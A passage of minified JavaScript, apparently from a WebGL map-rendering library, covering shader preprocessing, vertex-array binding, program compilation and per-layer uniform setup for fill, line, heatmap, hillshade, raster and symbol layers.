vec2 a_pos=a_pos_offset.xy;vec2 a_offset=a_pos_offset.zw;vec2 a_tex=a_data.xy;vec2 a_size=a_data.zw;float a_size_min=floor(a_size[0]*0.5);float is_sdf=a_size[0]-2.0*a_size_min;highp float segment_angle=-a_projected_pos[2];float size;if (!u_is_size_zoom_constant && !u_is_size_feature_constant) {size=mix(a_size_min,a_size[1],u_size_t)/128.0;} else if (u_is_size_zoom_constant && !u_is_size_feature_constant) {size=a_size_min/128.0;} else {size=u_size;}vec4 projectedPoint=u_matrix*vec4(a_pos,0,1);highp float camera_to_anchor_distance=projectedPoint.w;highp float distance_ratio=u_pitch_with_map ?
camera_to_anchor_distance/u_camera_to_center_distance :
u_camera_to_center_distance/camera_to_anchor_distance;highp float perspective_ratio=clamp(0.5+0.5*distance_ratio,0.0,4.0);size*=perspective_ratio;float fontScale=size/24.0;highp float symbol_rotation=0.0;if (u_rotate_symbol) {vec4 offsetProjectedPoint=u_matrix*vec4(a_pos+vec2(1,0),0,1);vec2 a=projectedPoint.xy/projectedPoint.w;vec2 b=offsetProjectedPoint.xy/offsetProjectedPoint.w;symbol_rotation=atan((b.y-a.y)/u_aspect_ratio,b.x-a.x);}highp float angle_sin=sin(segment_angle+symbol_rotation);highp float angle_cos=cos(segment_angle+symbol_rotation);mat2 rotation_matrix=mat2(angle_cos,-1.0*angle_sin,angle_sin,angle_cos);vec4 projected_pos=u_label_plane_matrix*vec4(a_projected_pos.xy,0.0,1.0);gl_Position=u_coord_matrix*vec4(projected_pos.xy/projected_pos.w+rotation_matrix*(a_offset/32.0*fontScale),0.0,1.0);float gamma_scale=gl_Position.w;vec2 fade_opacity=unpack_opacity(a_fade_opacity);float fade_change=fade_opacity[1] > 0.5 ? u_fade_change :-u_fade_change;float interpolated_fade_opacity=max(0.0,min(1.0,fade_opacity[0]+fade_change));v_data0.xy=a_tex/u_texsize;v_data0.zw=a_tex/u_texsize_icon;v_data1=vec4(gamma_scale,size,interpolated_fade_opacity,is_sdf);}`,ko=ri(ji,Gl),Zo=ri(Ga,js),Jl=ri(Rs,Ii),ks=ri(eo,bu),rs=ri(Ks,gi),xi=ri(Js,oo),Ql=ri(Li,so),xl=ri(Wi,ho),_s=ri(Ro,Go),Mu=ri(zi,wu),Su=ri(Do,Fi),zs=ri(Wl,Wo),Fs=ri(Io,Yl),ki=ri(Zl,Qu),bl=ri(Qs,$u),lf=ri(qu,ef),$l=ri(Xl,tf),uf=ri(rf,Tu),wl=ri(nf,af),qs=ri(jl,ps),ql=ri(gs,Ds),eu=ri(ml,of),el=ri(Yo,Au),tu=ri(Kl,sf),Tl=ri(vo,ys),ru=ri($s,Is);function ri(ue,H){var he=/#pragma mapbox: ([\w]+) ([\w]+) ([\w]+) ([\w]+)/g,$={};return ue=ue.replace(he,function(ve,Re,He,tt,ht){return $[ht]=!0,Re==="define"?`
#ifndef HAS_UNIFORM_u_`+ht+`
varying `+He+" "+tt+" "+ht+`;
#else
uniform `+He+" "+tt+" u_"+ht+`;
#endif
`:`
#ifdef HAS_UNIFORM_u_`+ht+`
    `+He+" "+tt+" "+ht+" = u_"+ht+`;
#endif
`}),H=H.replace(he,function(ve,Re,He,tt,ht){var Dt=tt==="float"?"vec2":"vec4",Wt=ht.match(/color/)?"color":Dt;return $[ht]?Re==="define"?`
#ifndef HAS_UNIFORM_u_`+ht+`
uniform lowp float u_`+ht+`_t;
attribute `+He+" "+Dt+" a_"+ht+`;
varying `+He+" "+tt+" "+ht+`;
#else
uniform `+He+" "+tt+" u_"+ht+`;
#endif
`:Wt==="vec4"?`
#ifndef HAS_UNIFORM_u_`+ht+`
    `+ht+" = a_"+ht+`;
#else
    `+He+" "+tt+" "+ht+" = u_"+ht+`;
#endif
`:`
#ifndef HAS_UNIFORM_u_`+ht+`
    `+ht+" = unpack_mix_"+Wt+"(a_"+ht+", u_"+ht+`_t);
#else
    `+He+" "+tt+" "+ht+" = u_"+ht+`;
#endif
`:Re==="define"?`
#ifndef HAS_UNIFORM_u_`+ht+`
uniform lowp float u_`+ht+`_t;
attribute `+He+" "+Dt+" a_"+ht+`;
#else
uniform `+He+" "+tt+" u_"+ht+`;
#endif
`:Wt==="vec4"?`
#ifndef HAS_UNIFORM_u_`+ht+`
    `+He+" "+tt+" "+ht+" = a_"+ht+`;
#else
    `+He+" "+tt+" "+ht+" = u_"+ht+`;
#endif
`:`
#ifndef HAS_UNIFORM_u_`+ht+`
    `+He+" "+tt+" "+ht+" = unpack_mix_"+Wt+"(a_"+ht+", u_"+ht+`_t);
#else
    `+He+" "+tt+" "+ht+" = u_"+ht+`;
#endif
`}),{fragmentSource:ue,vertexSource:H}}var Eu=Object.freeze({__proto__:null,prelude:ko,background:Zo,backgroundPattern:Jl,circle:ks,clippingMask:rs,heatmap:xi,heatmapTexture:Ql,collisionBox:xl,collisionCircle:_s,debug:Mu,fill:Su,fillOutline:zs,fillOutlinePattern:Fs,fillPattern:ki,fillExtrusion:bl,fillExtrusionPattern:lf,hillshadePrepare:$l,hillshade:uf,line:wl,lineGradient:qs,linePattern:ql,lineSDF:eu,raster:el,symbolIcon:tu,symbolSDF:Tl,symbolTextAndIcon:ru}),wo=function(){this.boundProgram=null,this.boundLayoutVertexBuffer=null,this.boundPaintVertexBuffers=[],this.boundIndexBuffer=null,this.boundVertexOffset=null,this.boundDynamicVertexBuffer=null,this.vao=null};wo.prototype.bind=function(H,he,$,ve,Re,He,tt,ht){this.context=H;for(var Dt=this.boundPaintVertexBuffers.length!==ve.length,Wt=0;!Dt&&Wt<ve.length;Wt++)this.boundPaintVertexBuffers[Wt]!==ve[Wt]&&(Dt=!0);var ar=!this.vao||this.boundProgram!==he||this.boundLayoutVertexBuffer!==$||Dt||this.boundIndexBuffer!==Re||this.boundVertexOffset!==He||this.boundDynamicVertexBuffer!==tt||this.boundDynamicVertexBuffer2!==ht;!H.extVertexArrayObject||ar?this.freshBind(he,$,ve,Re,He,tt,ht):(H.bindVertexArrayOES.set(this.vao),tt&&tt.bind(),Re&&Re.dynamicDraw&&Re.bind(),ht&&ht.bind())},wo.prototype.freshBind=function(H,he,$,ve,Re,He,tt){var ht,Dt=H.numAttributes,Wt=this.context,ar=Wt.gl;if(Wt.extVertexArrayObject)this.vao&&this.destroy(),this.vao=Wt.extVertexArrayObject.createVertexArrayOES(),Wt.bindVertexArrayOES.set(this.vao),ht=0,this.boundProgram=H,this.boundLayoutVertexBuffer=he,this.boundPaintVertexBuffers=$,this.boundIndexBuffer=ve,this.boundVertexOffset=Re,this.boundDynamicVertexBuffer=He,this.boundDynamicVertexBuffer2=tt;else{ht=Wt.currentNumAttributes||0;for(var hr=Dt;hr<ht;hr++)ar.disableVertexAttribArray(hr)}he.enableAttributes(ar,H);for(var Er=0,Fr=$;Er<Fr.length;Er+=1){var Or=Fr[Er];Or.enableAttributes(ar,H)}He&&He.enableAttributes(ar,H),tt&&tt.enableAttributes(ar,H),he.bind(),he.setVertexAttribPointers(ar,H,Re);for(var zr=0,Yr=$;zr<Yr.length;zr+=1){var en=Yr[zr];en.bind(),en.setVertexAttribPointers(ar,H,Re)}He&&(He.bind(),He.setVertexAttribPointers(ar,H,Re)),ve&&ve.bind(),tt&&(tt.bind(),tt.setVertexAttribPointers(ar,H,Re)),Wt.currentNumAttributes=Dt},wo.prototype.destroy=function(){this.vao&&(this.context.extVertexArrayObject.deleteVertexArrayOES(this.vao),this.vao=null)};var Os=function(H,he,$,ve,Re){var He=H.gl;this.program=He.createProgram();var tt=$?$.defines():[];Re&&tt.push("#define OVERDRAW_INSPECTOR;");var ht=tt.concat(ko.fragmentSource,he.fragmentSource).join(`
`),Dt=tt.concat(ko.vertexSource,he.vertexSource).join(`
`),Wt=He.createShader(He.FRAGMENT_SHADER);if(He.isContextLost()){this.failedToCreate=!0;return}He.shaderSource(Wt,ht),He.compileShader(Wt),He.attachShader(this.program,Wt);var ar=He.createShader(He.VERTEX_SHADER);if(He.isContextLost()){this.failedToCreate=!0;return}He.shaderSource(ar,Dt),He.compileShader(ar),He.attachShader(this.program,ar);for(var hr=$?$.layoutAttributes:[],Er=0;Er<hr.length;Er++)He.bindAttribLocation(this.program,Er,hr[Er].name);He.linkProgram(this.program),He.deleteShader(ar),He.deleteShader(Wt),this.numAttributes=He.getProgramParameter(this.program,He.ACTIVE_ATTRIBUTES),this.attributes={};for(var Fr={},Or=0;Or<this.numAttributes;Or++){var zr=He.getActiveAttrib(this.program,Or);zr&&(this.attributes[zr.name]=He.getAttribLocation(this.program,zr.name))}for(var Yr=He.getProgramParameter(this.program,He.ACTIVE_UNIFORMS),en=0;en<Yr;en++){var xn=He.getActiveUniform(this.program,en);xn&&(Fr[xn.name]=He.getUniformLocation(this.program,xn.name))}this.fixedUniforms=ve(H,Fr),this.binderUniforms=$?$.getUniforms(H,Fr):[]};Os.prototype.draw=function(H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar,hr,Er,Fr,Or,zr){var Yr,en=H.gl;if(!this.failedToCreate){H.program.set(this.program),H.setDepthMode($),H.setStencilMode(ve),H.setColorMode(Re),H.setCullFace(He);for(var xn in this.fixedUniforms)this.fixedUniforms[xn].set(tt[xn]);Fr&&Fr.setUniforms(H,this.binderUniforms,hr,{zoom:Er});for(var Pn=(Yr={},Yr[en.LINES]=2,Yr[en.TRIANGLES]=3,Yr[en.LINE_STRIP]=1,Yr)[he],Bn=0,Un=ar.get();Bn<Un.length;Bn+=1){var Nn=Un[Bn],jn=Nn.vaos||(Nn.vaos={}),na=jn[ht]||(jn[ht]=new wo);na.bind(H,this,Dt,Fr?Fr.getPaintVertexBuffers():[],Wt,Nn.vertexOffset,Or,zr),en.drawElements(he,Nn.primitiveLength*Pn,en.UNSIGNED_SHORT,Nn.primitiveOffset*Pn*2)}}};function ms(ue,H,he){var $=1/un(he,1,H.transform.tileZoom),ve=Math.pow(2,he.tileID.overscaledZ),Re=he.tileSize*Math.pow(2,H.transform.tileZoom)/ve,He=Re*(he.tileID.canonical.x+he.tileID.wrap*ve),tt=Re*he.tileID.canonical.y;return{u_image:0,u_texsize:he.imageAtlasTexture.size,u_scale:[$,ue.fromScale,ue.toScale],u_fade:ue.t,u_pixel_coord_upper:[He>>16,tt>>16],u_pixel_coord_lower:[He&65535,tt&65535]}}function nu(ue,H,he,$){var ve=he.imageManager.getPattern(ue.from.toString()),Re=he.imageManager.getPattern(ue.to.toString()),He=he.imageManager.getPixelSize(),tt=He.width,ht=He.height,Dt=Math.pow(2,$.tileID.overscaledZ),Wt=$.tileSize*Math.pow(2,he.transform.tileZoom)/Dt,ar=Wt*($.tileID.canonical.x+$.tileID.wrap*Dt),hr=Wt*$.tileID.canonical.y;return{u_image:0,u_pattern_tl_a:ve.tl,u_pattern_br_a:ve.br,u_pattern_tl_b:Re.tl,u_pattern_br_b:Re.br,u_texsize:[tt,ht],u_mix:H.t,u_pattern_size_a:ve.displaySize,u_pattern_size_b:Re.displaySize,u_scale_a:H.fromScale,u_scale_b:H.toScale,u_tile_units_to_pixels:1/un($,1,he.transform.tileZoom),u_pixel_coord_upper:[ar>>16,hr>>16],u_pixel_coord_lower:[ar&65535,hr&65535]}}var wi=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_lightpos:new o.Uniform3f(ue,H.u_lightpos),u_lightintensity:new o.Uniform1f(ue,H.u_lightintensity),u_lightcolor:new o.Uniform3f(ue,H.u_lightcolor),u_vertical_gradient:new o.Uniform1f(ue,H.u_vertical_gradient),u_opacity:new o.Uniform1f(ue,H.u_opacity)}},tl=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_lightpos:new o.Uniform3f(ue,H.u_lightpos),u_lightintensity:new o.Uniform1f(ue,H.u_lightintensity),u_lightcolor:new o.Uniform3f(ue,H.u_lightcolor),u_vertical_gradient:new o.Uniform1f(ue,H.u_vertical_gradient),u_height_factor:new o.Uniform1f(ue,H.u_height_factor),u_image:new o.Uniform1i(ue,H.u_image),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_pixel_coord_upper:new o.Uniform2f(ue,H.u_pixel_coord_upper),u_pixel_coord_lower:new o.Uniform2f(ue,H.u_pixel_coord_lower),u_scale:new o.Uniform3f(ue,H.u_scale),u_fade:new o.Uniform1f(ue,H.u_fade),u_opacity:new o.Uniform1f(ue,H.u_opacity)}},to=function(ue,H,he,$){var ve=H.style.light,Re=ve.properties.get("position"),He=[Re.x,Re.y,Re.z],tt=o.create$1();ve.properties.get("anchor")==="viewport"&&o.fromRotation(tt,-H.transform.angle),o.transformMat3(He,He,tt);var ht=ve.properties.get("color");return{u_matrix:ue,u_lightpos:He,u_lightintensity:ve.properties.get("intensity"),u_lightcolor:[ht.r,ht.g,ht.b],u_vertical_gradient:+he,u_opacity:$}},Xo=function(ue,H,he,$,ve,Re,He){return o.extend(to(ue,H,he,$),ms(Re,H,He),{u_height_factor:-Math.pow(2,ve.overscaledZ)/He.tileSize/8})},jo=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix)}},ns=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_image:new o.Uniform1i(ue,H.u_image),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_pixel_coord_upper:new o.Uniform2f(ue,H.u_pixel_coord_upper),u_pixel_coord_lower:new o.Uniform2f(ue,H.u_pixel_coord_lower),u_scale:new o.Uniform3f(ue,H.u_scale),u_fade:new o.Uniform1f(ue,H.u_fade)}},as=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_world:new o.Uniform2f(ue,H.u_world)}},is=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_world:new o.Uniform2f(ue,H.u_world),u_image:new o.Uniform1i(ue,H.u_image),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_pixel_coord_upper:new o.Uniform2f(ue,H.u_pixel_coord_upper),u_pixel_coord_lower:new o.Uniform2f(ue,H.u_pixel_coord_lower),u_scale:new o.Uniform3f(ue,H.u_scale),u_fade:new o.Uniform1f(ue,H.u_fade)}},To=function(ue){return{u_matrix:ue}},_o=function(ue,H,he,$){return o.extend(To(ue),ms(he,H,$))},rl=function(ue,H){return{u_matrix:ue,u_world:H}},nl=function(ue,H,he,$,ve){return o.extend(_o(ue,H,he,$),{u_world:ve})},Al=function(ue,H){return{u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_scale_with_map:new o.Uniform1i(ue,H.u_scale_with_map),u_pitch_with_map:new o.Uniform1i(ue,H.u_pitch_with_map),u_extrude_scale:new o.Uniform2f(ue,H.u_extrude_scale),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix)}},ff=function(ue,H,he,$){var ve=ue.transform,Re,He;if($.paint.get("circle-pitch-alignment")==="map"){var tt=un(he,1,ve.zoom);Re=!0,He=[tt,tt]}else Re=!1,He=ve.pixelsToGLUnits;return{u_camera_to_center_distance:ve.cameraToCenterDistance,u_scale_with_map:+($.paint.get("circle-pitch-scale")==="map"),u_matrix:ue.translatePosMatrix(H.posMatrix,he,$.paint.get("circle-translate"),$.paint.get("circle-translate-anchor")),u_pitch_with_map:+Re,u_device_pixel_ratio:o.browser.devicePixelRatio,u_extrude_scale:He}},cf=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_pixels_to_tile_units:new o.Uniform1f(ue,H.u_pixels_to_tile_units),u_extrude_scale:new o.Uniform2f(ue,H.u_extrude_scale),u_overscale_factor:new o.Uniform1f(ue,H.u_overscale_factor)}},hf=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_inv_matrix:new o.UniformMatrix4f(ue,H.u_inv_matrix),u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_viewport_size:new o.Uniform2f(ue,H.u_viewport_size)}},vf=function(ue,H,he){var $=un(he,1,H.zoom),ve=Math.pow(2,H.zoom-he.tileID.overscaledZ),Re=he.tileID.overscaleFactor();return{u_matrix:ue,u_camera_to_center_distance:H.cameraToCenterDistance,u_pixels_to_tile_units:$,u_extrude_scale:[H.pixelsToGLUnits[0]/($*ve),H.pixelsToGLUnits[1]/($*ve)],u_overscale_factor:Re}},Ml=function(ue,H,he){return{u_matrix:ue,u_inv_matrix:H,u_camera_to_center_distance:he.cameraToCenterDistance,u_viewport_size:[he.width,he.height]}},Cu=function(ue,H){return{u_color:new o.UniformColor(ue,H.u_color),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_overlay:new o.Uniform1i(ue,H.u_overlay),u_overlay_scale:new o.Uniform1f(ue,H.u_overlay_scale)}},Bs=function(ue,H,he){return he===void 0&&(he=1),{u_matrix:ue,u_color:H,u_overlay:0,u_overlay_scale:he}},Oi=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix)}},ro=function(ue){return{u_matrix:ue}},al=function(ue,H){return{u_extrude_scale:new o.Uniform1f(ue,H.u_extrude_scale),u_intensity:new o.Uniform1f(ue,H.u_intensity),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix)}},xs=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_world:new o.Uniform2f(ue,H.u_world),u_image:new o.Uniform1i(ue,H.u_image),u_color_ramp:new o.Uniform1i(ue,H.u_color_ramp),u_opacity:new o.Uniform1f(ue,H.u_opacity)}},il=function(ue,H,he,$){return{u_matrix:ue,u_extrude_scale:un(H,1,he),u_intensity:$}},Sl=function(ue,H,he,$){var ve=o.create();o.ortho(ve,0,ue.width,ue.height,0,0,1);var Re=ue.context.gl;return{u_matrix:ve,u_world:[Re.drawingBufferWidth,Re.drawingBufferHeight],u_image:he,u_color_ramp:$,u_opacity:H.paint.get("heatmap-opacity")}},df=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_image:new o.Uniform1i(ue,H.u_image),u_latrange:new o.Uniform2f(ue,H.u_latrange),u_light:new o.Uniform2f(ue,H.u_light),u_shadow:new o.UniformColor(ue,H.u_shadow),u_highlight:new o.UniformColor(ue,H.u_highlight),u_accent:new o.UniformColor(ue,H.u_accent)}},Lu=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_image:new o.Uniform1i(ue,H.u_image),u_dimension:new o.Uniform2f(ue,H.u_dimension),u_zoom:new o.Uniform1f(ue,H.u_zoom),u_maxzoom:new o.Uniform1f(ue,H.u_maxzoom),u_unpack:new o.Uniform4f(ue,H.u_unpack)}},Pu=function(ue,H,he){var $=he.paint.get("hillshade-shadow-color"),ve=he.paint.get("hillshade-highlight-color"),Re=he.paint.get("hillshade-accent-color"),He=he.paint.get("hillshade-illumination-direction")*(Math.PI/180);he.paint.get("hillshade-illumination-anchor")==="viewport"&&(He-=ue.transform.angle);var tt=!ue.options.moving;return{u_matrix:ue.transform.calculatePosMatrix(H.tileID.toUnwrapped(),tt),u_image:0,u_latrange:os(ue,H.tileID),u_light:[he.paint.get("hillshade-exaggeration"),He],u_shadow:$,u_highlight:ve,u_accent:Re}},au=function(ue,H,he){var $=H.stride,ve=o.create();return o.ortho(ve,0,o.EXTENT,-o.EXTENT,0,0,1),o.translate(ve,ve,[0,-o.EXTENT,0]),{u_matrix:ve,u_image:1,u_dimension:[$,$],u_zoom:ue.overscaledZ,u_maxzoom:he,u_unpack:H.getUnpackVector()}};function os(ue,H){var he=Math.pow(2,H.canonical.z),$=H.canonical.y;return[new o.MercatorCoordinate(0,$/he).toLngLat().lat,new o.MercatorCoordinate(0,($+1)/he).toLngLat().lat]}var Ti=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_ratio:new o.Uniform1f(ue,H.u_ratio),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_units_to_pixels:new o.Uniform2f(ue,H.u_units_to_pixels)}},zo=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_ratio:new o.Uniform1f(ue,H.u_ratio),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_units_to_pixels:new o.Uniform2f(ue,H.u_units_to_pixels),u_image:new o.Uniform1i(ue,H.u_image)}},iu=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_ratio:new o.Uniform1f(ue,H.u_ratio),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_image:new o.Uniform1i(ue,H.u_image),u_units_to_pixels:new o.Uniform2f(ue,H.u_units_to_pixels),u_scale:new o.Uniform3f(ue,H.u_scale),u_fade:new o.Uniform1f(ue,H.u_fade)}},Ru=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_ratio:new o.Uniform1f(ue,H.u_ratio),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_units_to_pixels:new o.Uniform2f(ue,H.u_units_to_pixels),u_patternscale_a:new o.Uniform2f(ue,H.u_patternscale_a),u_patternscale_b:new o.Uniform2f(ue,H.u_patternscale_b),u_sdfgamma:new o.Uniform1f(ue,H.u_sdfgamma),u_image:new o.Uniform1i(ue,H.u_image),u_tex_y_a:new o.Uniform1f(ue,H.u_tex_y_a),u_tex_y_b:new o.Uniform1f(ue,H.u_tex_y_b),u_mix:new o.Uniform1f(ue,H.u_mix)}},bs=function(ue,H,he){var $=ue.transform;return{u_matrix:Jo(ue,H,he),u_ratio:1/un(H,1,$.zoom),u_device_pixel_ratio:o.browser.devicePixelRatio,u_units_to_pixels:[1/$.pixelsToGLUnits[0],1/$.pixelsToGLUnits[1]]}},El=function(ue,H,he){return o.extend(bs(ue,H,he),{u_image:0})},Ao=function(ue,H,he,$){var ve=ue.transform,Re=Ko(H,ve);return{u_matrix:Jo(ue,H,he),u_texsize:H.imageAtlasTexture.size,u_ratio:1/un(H,1,ve.zoom),u_device_pixel_ratio:o.browser.devicePixelRatio,u_image:0,u_scale:[Re,$.fromScale,$.toScale],u_fade:$.t,u_units_to_pixels:[1/ve.pixelsToGLUnits[0],1/ve.pixelsToGLUnits[1]]}},Cl=function(ue,H,he,$,ve){var Re=ue.transform,He=ue.lineAtlas,tt=Ko(H,Re),ht=he.layout.get("line-cap")==="round",Dt=He.getDash($.from,ht),Wt=He.getDash($.to,ht),ar=Dt.width*ve.fromScale,hr=Wt.width*ve.toScale;return o.extend(bs(ue,H,he),{u_patternscale_a:[tt/ar,-Dt.height/2],u_patternscale_b:[tt/hr,-Wt.height/2],u_sdfgamma:He.width/(Math.min(ar,hr)*256*o.browser.devicePixelRatio)/2,u_image:0,u_tex_y_a:Dt.y,u_tex_y_b:Wt.y,u_mix:ve.t})};function Ko(ue,H){return 1/un(ue,1,H.tileZoom)}function Jo(ue,H,he){return ue.translatePosMatrix(H.tileID.posMatrix,H,he.paint.get("line-translate"),he.paint.get("line-translate-anchor"))}var ou=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_tl_parent:new o.Uniform2f(ue,H.u_tl_parent),u_scale_parent:new o.Uniform1f(ue,H.u_scale_parent),u_buffer_scale:new o.Uniform1f(ue,H.u_buffer_scale),u_fade_t:new o.Uniform1f(ue,H.u_fade_t),u_opacity:new o.Uniform1f(ue,H.u_opacity),u_image0:new o.Uniform1i(ue,H.u_image0),u_image1:new o.Uniform1i(ue,H.u_image1),u_brightness_low:new o.Uniform1f(ue,H.u_brightness_low),u_brightness_high:new o.Uniform1f(ue,H.u_brightness_high),u_saturation_factor:new o.Uniform1f(ue,H.u_saturation_factor),u_contrast_factor:new o.Uniform1f(ue,H.u_contrast_factor),u_spin_weights:new o.Uniform3f(ue,H.u_spin_weights)}},Ns=function(ue,H,he,$,ve){return{u_matrix:ue,u_tl_parent:H,u_scale_parent:he,u_buffer_scale:1,u_fade_t:$.mix,u_opacity:$.opacity*ve.paint.get("raster-opacity"),u_image0:0,u_image1:1,u_brightness_low:ve.paint.get("raster-brightness-min"),u_brightness_high:ve.paint.get("raster-brightness-max"),u_saturation_factor:Ll(ve.paint.get("raster-saturation")),u_contrast_factor:ws(ve.paint.get("raster-contrast")),u_spin_weights:Qa(ve.paint.get("raster-hue-rotate"))}};function Qa(ue){ue*=Math.PI/180;var H=Math.sin(ue),he=Math.cos(ue);return[(2*he+1)/3,(-Math.sqrt(3)*H-he+1)/3,(Math.sqrt(3)*H-he+1)/3]}function ws(ue){return ue>0?1/(1-ue):1+ue}function Ll(ue){return ue>0?1-1/(1.001-ue):-ue}var Pl=function(ue,H){return{u_is_size_zoom_constant:new o.Uniform1i(ue,H.u_is_size_zoom_constant),u_is_size_feature_constant:new o.Uniform1i(ue,H.u_is_size_feature_constant),u_size_t:new o.Uniform1f(ue,H.u_size_t),u_size:new o.Uniform1f(ue,H.u_size),u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_pitch:new o.Uniform1f(ue,H.u_pitch),u_rotate_symbol:new o.Uniform1i(ue,H.u_rotate_symbol),u_aspect_ratio:new o.Uniform1f(ue,H.u_aspect_ratio),u_fade_change:new o.Uniform1f(ue,H.u_fade_change),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_label_plane_matrix:new o.UniformMatrix4f(ue,H.u_label_plane_matrix),u_coord_matrix:new o.UniformMatrix4f(ue,H.u_coord_matrix),u_is_text:new o.Uniform1i(ue,H.u_is_text),u_pitch_with_map:new o.Uniform1i(ue,H.u_pitch_with_map),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_texture:new o.Uniform1i(ue,H.u_texture)}},ss=function(ue,H){return{u_is_size_zoom_constant:new o.Uniform1i(ue,H.u_is_size_zoom_constant),u_is_size_feature_constant:new o.Uniform1i(ue,H.u_is_size_feature_constant),u_size_t:new o.Uniform1f(ue,H.u_size_t),u_size:new o.Uniform1f(ue,H.u_size),u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_pitch:new o.Uniform1f(ue,H.u_pitch),u_rotate_symbol:new o.Uniform1i(ue,H.u_rotate_symbol),u_aspect_ratio:new o.Uniform1f(ue,H.u_aspect_ratio),u_fade_change:new o.Uniform1f(ue,H.u_fade_change),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_label_plane_matrix:new o.UniformMatrix4f(ue,H.u_label_plane_matrix),u_coord_matrix:new o.UniformMatrix4f(ue,H.u_coord_matrix),u_is_text:new o.Uniform1i(ue,H.u_is_text),u_pitch_with_map:new o.Uniform1i(ue,H.u_pitch_with_map),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_texture:new o.Uniform1i(ue,H.u_texture),u_gamma_scale:new o.Uniform1f(ue,H.u_gamma_scale),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_is_halo:new o.Uniform1i(ue,H.u_is_halo)}},pf=function(ue,H){return{u_is_size_zoom_constant:new o.Uniform1i(ue,H.u_is_size_zoom_constant),u_is_size_feature_constant:new o.Uniform1i(ue,H.u_is_size_feature_constant),u_size_t:new o.Uniform1f(ue,H.u_size_t),u_size:new o.Uniform1f(ue,H.u_size),u_camera_to_center_distance:new o.Uniform1f(ue,H.u_camera_to_center_distance),u_pitch:new o.Uniform1f(ue,H.u_pitch),u_rotate_symbol:new o.Uniform1i(ue,H.u_rotate_symbol),u_aspect_ratio:new o.Uniform1f(ue,H.u_aspect_ratio),u_fade_change:new o.Uniform1f(ue,H.u_fade_change),u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_label_plane_matrix:new o.UniformMatrix4f(ue,H.u_label_plane_matrix),u_coord_matrix:new o.UniformMatrix4f(ue,H.u_coord_matrix),u_is_text:new o.Uniform1i(ue,H.u_is_text),u_pitch_with_map:new o.Uniform1i(ue,H.u_pitch_with_map),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_texsize_icon:new o.Uniform2f(ue,H.u_texsize_icon),u_texture:new o.Uniform1i(ue,H.u_texture),u_texture_icon:new o.Uniform1i(ue,H.u_texture_icon),u_gamma_scale:new o.Uniform1f(ue,H.u_gamma_scale),u_device_pixel_ratio:new o.Uniform1f(ue,H.u_device_pixel_ratio),u_is_halo:new o.Uniform1i(ue,H.u_is_halo)}},su=function(ue,H,he,$,ve,Re,He,tt,ht,Dt){var Wt=ve.transform;return{u_is_size_zoom_constant:+(ue==="constant"||ue==="source"),u_is_size_feature_constant:+(ue==="constant"||ue==="camera"),u_size_t:H?H.uSizeT:0,u_size:H?H.uSize:0,u_camera_to_center_distance:Wt.cameraToCenterDistance,u_pitch:Wt.pitch/360*2*Math.PI,u_rotate_symbol:+he,u_aspect_ratio:Wt.width/Wt.height,u_fade_change:ve.options.fadeDuration?ve.symbolFadeChange:1,u_matrix:Re,u_label_plane_matrix:He,u_coord_matrix:tt,u_is_text:+ht,u_pitch_with_map:+$,u_texsize:Dt,u_texture:0}},Us=function(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt){var ar=ve.transform;return o.extend(su(ue,H,he,$,ve,Re,He,tt,ht,Dt),{u_gamma_scale:$?Math.cos(ar._pitch)*ar.cameraToCenterDistance:1,u_device_pixel_ratio:o.browser.devicePixelRatio,u_is_halo:+Wt})},lu=function(ue,H,he,$,ve,Re,He,tt,ht,Dt){return o.extend(Us(ue,H,he,$,ve,Re,He,tt,!0,ht,!0),{u_texsize_icon:Dt,u_texture_icon:1})},Du=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_opacity:new o.Uniform1f(ue,H.u_opacity),u_color:new 